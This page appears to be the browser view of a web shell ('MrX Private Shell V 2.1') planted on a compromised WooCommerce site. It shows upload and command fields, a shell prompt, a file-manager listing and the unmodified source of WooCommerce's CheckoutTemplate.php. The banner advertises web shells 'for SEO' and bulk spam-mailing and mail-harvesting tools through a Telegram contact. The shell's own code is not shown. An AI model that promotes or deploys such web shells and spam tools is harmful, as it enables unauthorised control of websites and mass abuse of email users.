__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
namespace Automattic\WooCommerce\Blocks\Templates;

/**
 * CheckoutTemplate class.
 *
 * @internal
 */
class CheckoutTemplate extends AbstractPageTemplate {

	/**
	 * The slug of the template.
	 *
	 * @var string
	 */
	const SLUG = 'page-checkout';

	/**
	 * Returns the title of the template.
	 *
	 * @return string
	 */
	public function get_template_title() {
		return _x( 'Page: Checkout', 'Template name', 'woocommerce' );
	}

	/**
	 * Returns the description of the template.
	 *
	 * @return string
	 */
	public function get_template_description() {
		return __( 'The Checkout template guides users through the final steps of the purchase process. It enables users to enter shipping and billing information, select a payment method, and review order details.', 'woocommerce' );
	}

	/**
	 * Returns the page object assigned to this template/page.
	 *
	 * @return \WP_Post|null Post object or null.
	 */
	protected function get_placeholder_page() {
		$page_id = wc_get_page_id( 'checkout' );
		return $page_id ? get_post( $page_id ) : null;
	}

	/**
	 * True when viewing the checkout page or checkout endpoint.
	 *
	 * @return boolean
	 */
	protected function is_active_template() {
		global $post;
		$placeholder = $this->get_placeholder_page();
		return null !== $placeholder && $post instanceof \WP_Post && $placeholder->post_name === $post->post_name;
	}

	/**
	 * When the page should be displaying the template, add it to the hierarchy.
	 *
	 * This places the template name e.g. `cart`, at the beginning of the template hierarchy array. The hook priority
	 * is 1 to ensure it runs first; other consumers e.g. extensions, could therefore inject their own template instead
	 * of this one when using the default priority of 10.
	 *
	 * @param array $templates Templates that match the pages_template_hierarchy.
	 */
	public function page_template_hierarchy( $templates ) {
		if ( $this->is_active_template() ) {
			array_unshift( $templates, self::SLUG );
			array_unshift( $templates, 'checkout' );
		}
		return $templates;
	}
}

Filemanager

Name Type Size Permission Actions
AbstractPageTemplate.php File 1.81 KB 0664
AbstractTemplate.php File 737 B 0664
AbstractTemplateCompatibility.php File 5.76 KB 0664
AbstractTemplatePart.php File 332 B 0664
AbstractTemplateWithFallback.php File 1.8 KB 0664
ArchiveProductTemplatesCompatibility.php File 12.43 KB 0664
CartTemplate.php File 1.96 KB 0664
CheckoutHeaderTemplate.php File 863 B 0664
CheckoutTemplate.php File 2 KB 0664
ClassicTemplatesCompatibility.php File 2.37 KB 0664
ComingSoonSocialLinksTemplate.php File 1.11 KB 0664
ComingSoonTemplate.php File 2.58 KB 0664
ExternalProductAddToCartWithOptionsTemplate.php File 1021 B 0664
GroupedProductAddToCartWithOptionsTemplate.php File 1016 B 0664
MiniCartTemplate.php File 1.67 KB 0664
OrderConfirmationTemplate.php File 1.58 KB 0664
ProductAttributeTemplate.php File 2.69 KB 0664
ProductBrandTemplate.php File 1.74 KB 0664
ProductCatalogTemplate.php File 2.26 KB 0664
ProductCategoryTemplate.php File 1.74 KB 0664
ProductSearchResultsTemplate.php File 2.02 KB 0664
ProductTagTemplate.php File 1.72 KB 0664
SimpleProductAddToCartWithOptionsTemplate.php File 1011 B 0664
SingleProductTemplate.php File 9.17 KB 0664
SingleProductTemplateCompatibility.php File 14.43 KB 0664
VariableProductAddToCartWithOptionsTemplate.php File 1021 B 0664
Filemanager